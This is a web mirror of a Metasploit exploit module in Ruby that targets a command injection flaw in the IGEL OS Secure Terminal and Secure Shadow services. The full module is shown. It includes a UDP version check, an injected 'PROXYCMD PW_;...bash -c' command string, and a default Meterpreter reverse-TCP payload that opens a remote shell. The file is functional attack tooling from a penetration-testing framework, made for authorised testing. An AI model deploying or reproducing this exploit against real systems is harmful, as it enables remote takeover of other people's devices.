Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/igel_command_injection.rb
31614 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Tcp
11
include Msf::Exploit::CmdStager
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',
19
'Description' => %q{
20
This module exploits a command injection vulnerability in IGEL OS Secure Terminal
21
and Secure Shadow services.
22
23
Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
24
Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Rob Vinson', # Discovery
29
'James Brytan', # Research and testing
30
'James Smith', # Research and testing
31
'Marisa Mack', # Research and testing
32
'Sergey Pashevkin', # Research and testing
33
'Steven Laura' # Research and testing
34
],
35
'References' => [
36
[ 'CVE', '2025-34082' ],
37
[ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
38
[ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
39
],
40
'Targets' => [
41
[
42
'Secure Terminal Service',
43
{
44
'Arch' => [ARCH_X86, ARCH_X64],
45
'Type' => :cmd,
46
'Platform' => 'linux',
47
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }
48
}
49
],
50
[
51
'Secure Shadow Service',
52
{
53
'Arch' => [ARCH_X86, ARCH_X64],
54
'Type' => :cmd,
55
'Platform' => 'linux',
56
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }
57
}
58
],
59
],
60
'Privileged' => true,
61
'DisclosureDate' => '2021-02-25',
62
'CmdStagerFlavor' => ['printf'],
63
'DefaultTarget' => 0,
64
'DefaultOptions' => {
65
'PrependFork' => true
66
},
67
'Notes' => {
68
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
69
'Reliability' => [REPEATABLE_SESSION],
70
'Stability' => [CRASH_SAFE]
71
}
72
)
73
)
74
75
register_advanced_options(
76
[
77
# must enable SSL
78
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
79
]
80
)
81
end
82
83
def check
84
probe = '<igel_scan></igel_scan>'
85
86
connect_udp(true, 'RPORT' => 30005)
87
udp_sock.put(probe)
88
res = udp_sock.recvfrom(65535, 0.5)
89
disconnect_udp
90
91
unless res && res[0]
92
return Exploit::CheckCode::Unknown
93
end
94
95
probe_response = res[0]
96
matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)
97
unless matches
98
return Exploit::CheckCode::Unknown
99
end
100
101
version = matches.captures[0]
102
vprint_status("IGEL OS Version: #{version}")
103
version = Rex::Version.new(version)
104
105
if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')
106
return Exploit::CheckCode::Appears
107
elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')
108
return Exploit::CheckCode::Safe
109
elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')
110
return Exploit::CheckCode::Appears
111
end
112
113
return Exploit::CheckCode::Safe
114
end
115
116
def execute_command(cmd, _opts = {})
117
vprint_status("executing: #{cmd}")
118
connect
119
sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false))
120
ensure
121
disconnect
122
end
123
124
def exploit
125
execute_cmdstager(linemax: 150, noconcat: true, delay: 2)
126
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
127
fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
128
end
129
130
end
131
132